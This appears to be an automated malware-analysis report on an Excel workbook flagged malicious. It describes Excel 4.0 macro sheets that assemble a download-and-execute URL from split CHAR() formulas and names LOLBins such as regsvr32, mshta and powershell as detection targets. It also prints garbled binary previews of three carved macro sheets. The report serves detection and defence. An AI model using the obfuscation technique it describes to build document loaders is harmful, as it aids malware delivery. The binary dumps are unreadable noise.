MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains Excel 4.0 macro sheets, which are known to be used for malicious purposes. The heuristic 'OOXML_XLM_REASSEMBLED_PAYLOAD' indicates that the macro code was likely used to construct a URL, suggesting it's designed to download and execute a secondary payload. The specific URL 'https://' was reconstructed from split formulas within the macro sheets.
Heuristics 2
-
Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks. The macro sheet is stored as XLSB/BIFF12 binary content, which many XML-only OOXML scanners miss.
-
XLM payload reassembled from CHAR()/split formulas critical OOXML_XLM_REASSEMBLED_PAYLOADAn Excel 4.0 macro sheet builds its payload inside the formula token stream by concatenating per-character CHAR() calls and string fragments, so no WinAPI name, shell command, or URL is ever contiguous in the .bin for a literal-bytes scan to find. Reassembling the formulas recovered download/execute API names, LOLBin commands (regsvr32/rundll32/mshta/wmic/powershell), or a payload URL — the de-obfuscated download-and-run kill chain.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.bin |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/intlsheet1.bin | 6043 bytes |
SHA-256: d32efc890f8d678c4f7f726763ce14626df10566923007b6e4657be22c95a744 |
|||
Preview scriptFirst 1,000 lines of the extracted script
� � � @ �������� � � F � % �� & � � @ d � $ � � % �� & � � , � < 8 � < 9 9 � < : B � < C �? � � � % �� & , : C < % �� & , : C < % �� & , : C : < = > ? @ B % �� & , : C : < = > ? @ B % �� & , : C : < = > ? @ B % �� & , : C : < = > ? @ A B C % �� & , : C : < =
> ? @ A B C % �� & , : F : < = > ? @ A B C D E F % �� & ! , : F :
< = > ? A B C D E F % �� & " , : F : < = > ? @ A B C D E F % �� & # , : F : < = > ? @ A B C D E F % �� & $ , : F : = > ? @ A B C D E F % �� & % , : F : = > ? @ A B C D E F % �� & & , : F : = > ? @ A B C D E F % �� & ' , : F > ? @ A B C D E F % �� & ( , : F =
A FB L . L d e c v s b g v r s x L x r g x g B s C D E F % �� & ) , : F : = A B C D E F % �� & * , : F : = A B C D E F % �� & + , : F : = A B C D E F % �� & , , : F = A B C D E F % �� & - , : F A B C D E F % �� & . , : F A B C D E F % �� & / , : F A B C D E F % �� & 0 , 5 F A B C D E F % �� & 1 , 5 F 5 A B C D E F % �� & 2 , 5 F A B C D E F % �� & 3 , 5 F A B C D E F % �� & 4 , 5 F A B C D E F % �� & 5 , 5 F A B C D E F % �� & 6 , 5 F A B C D E F % �� & 7 , 5 F B % �� & 8
... (truncated)
|
|||
xlm_sheet_01.bin |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/intlsheet2.bin | 1210 bytes |
SHA-256: 8c6ef244f1b5655417d57f29f2b866c60f538fb6fe24b0d818f3382f72b7314f |
|||
Preview scriptFirst 1,000 lines of the extracted script
� � � @ �������� � & 4 � % �� & � � @ d � $ � � % �� & � � , � < / / � < 0 4 � � � % �� & , & 2 & % �� & , & 2 & 2 % �� &
, & 2 2 % �� & , & 2 2 % �� & , & 2 2 % �� &
, & 2 / 2 % �� & , & 2 / 0 % �� & , & 2 / 0 2 % �� & , 0 3 0 % �� & , 0 3 0 % �� & , 0 3
0 B 6 % �� & , 0 3 0 1 3 % �� & , 0 3 0 1 3 � � B � �� 0ffffff�?ffffff�? �? �?333333�?333333�?� ������������������������� % �� & �
|
|||
xlm_sheet_02.bin |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/intlsheet3.bin | 5857 bytes |
SHA-256: bef0998d7885927ea99b5d89ac0fb6c92b8b3ec6a42066e003a1824f1de3b019 |
|||
Preview scriptFirst 1,000 lines of the extracted script
� � � @ �������� � , 4 : � % �� & � � @ d � $ � � % �� & � � , � < 3 3 m < 4 : � � � % �� & , 4 7 %7 D o c 2 B � % �� & , 4 7 87 % D o c 3 B � D o c 4 B � % �� & , 4 7 � 4 $ � �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� U Z 2� Z ?� Z ?� : 2�B `� � 7 $ � ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� Z & =�Z B� Z 2� Z * =� Z 2� Z ( =� Z ) =� Z ( =� Z 2� Z ( =� Z ) =� Z ( =� Z 2� Z ( =� Z , =� Z ) =� Z ( =� h t t p s : / / Z 2� Z ( =� Z ) =� Z ( =� Z <� Z ( =� Z , =� Z , =� Z + =� : 0�B `� � A ��A/ % �� & , 4 : 4 % �� & , 4 : )4 Z # B�: 2�B `� 7 : 0�A5 % �� & , 4 : C4 0 Z @�Z @� Z @� B : 2�B `� � : $ � �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� Z 2�Z :� Z # :� Z $ :� Z % :� Z ! :� Z " :� Z ! :� Z <� Z :� : 0�B `� % �� & , 4 : )4 Z ( B�: 2�B `� � : $ � �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9HA� �������TA ��;�u')LAc ��9��9H ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.